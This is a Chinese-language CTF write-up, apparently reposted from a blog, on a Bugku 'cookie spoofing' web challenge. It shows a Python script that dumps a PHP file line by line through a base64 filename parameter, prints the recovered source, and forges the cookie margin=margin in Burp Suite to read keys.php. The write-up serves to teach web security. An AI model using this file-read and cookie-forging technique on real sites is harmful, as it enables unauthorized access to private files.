码迷,mamicode.com
首页 > 其他好文 > 详细

Bugku_CTF Writeup 之 cookies欺骗

时间:2018-09-30 23:19:53      阅读:2316      评论:0      收藏:0      [点我收藏+]

标签:http   Suite   nbsp   ssi   base64   lin   bug   一个   构造   

题目描述:

http://120.24.86.145:8002/web11/

答案格式:KEY{xxxxxxxx}

 

 

1.开局一个url与一串乱码:

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

 

rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaeru

baufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrs

gbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrb

gtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbai

envdivrbgtubgtrsgb......(此处省略千字)

 

2.原url有两个参数

  (1)line=

  (2)filename=a2V5cy50eHQ=

 

 

3. 对a2V5cy50eHQ=用base64解码,得到其明文是key.txt

  猜测filename参数会决定所返回的页面(可能是源码),传递的参数要是base64密文形式,来交给后台base64.decode()

  那就传递index.php喽,对应的base64密文是aW5kZXgucGhw

  http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

 

 

4.访问http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

  发现页面...空了......

  line参数是否决定了返回哪一行呢?

 

 

5.令line=1、2、3...n...

  都得到一段php代码的第n行

  python脚本帮助获取全部代码

1 import requests
2 ses=requests.session()
3 url=http://120.24.86.145:8002/web11/index.php
4 for i in range(0,30):
5     payload={line:i,filename:aW5kZXgucGhw}
6     result=ses.get(url,params=payload).text              
7     print(result) 

 

 

6.得到php源码

 1 <?php
 2 
 3 error_reporting(0);
 4 
 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:"");
 6 
 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0;
 8 
 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ=");
10 
11 $file_list = array(
12 
13 ‘0‘ =>‘keys.txt‘,
14 
15 ‘1‘ =>‘index.php‘,
16 
17 );
18 
19  
20 
21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){
22 
23 $file_list[2]=‘keys.php‘;
24 
25 }
26 
27  
28 
29 if(in_array($file, $file_list)){
30 
31 $fa = file($file);
32 
33 echo $fa[$line];
34 
35 }
36 
37 ?>

 

 

7.代码最后会输出一个文件的内容,至于会输出哪个文件的,就看我们如何提交参数啦

  我们想得到的当然是keys.php的内容,接下来看看得如何构造参数

  将keys.php的base64密文传入做为filename的参数

  但要将keys.php加入候选文件序列$file_list中,还需要cookies中保存的键值对为margin=margin

 

 

8.burpsuite改包

  在此之前先用burpsuite得到keys.php的base64密文:a2V5cy5waHA=

  再发包、截包、改包三连:(1)filename的值赋为a2V5cy5waHA= 

              (2)添加Cookie:margin=margin  

  得到flag:

技术分享图片

 

Bugku_CTF Writeup 之 cookies欺骗

标签:http   Suite   nbsp   ssi   base64   lin   bug   一个   构造   

原文地址:https://www.cnblogs.com/izayoi/p/9733618.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!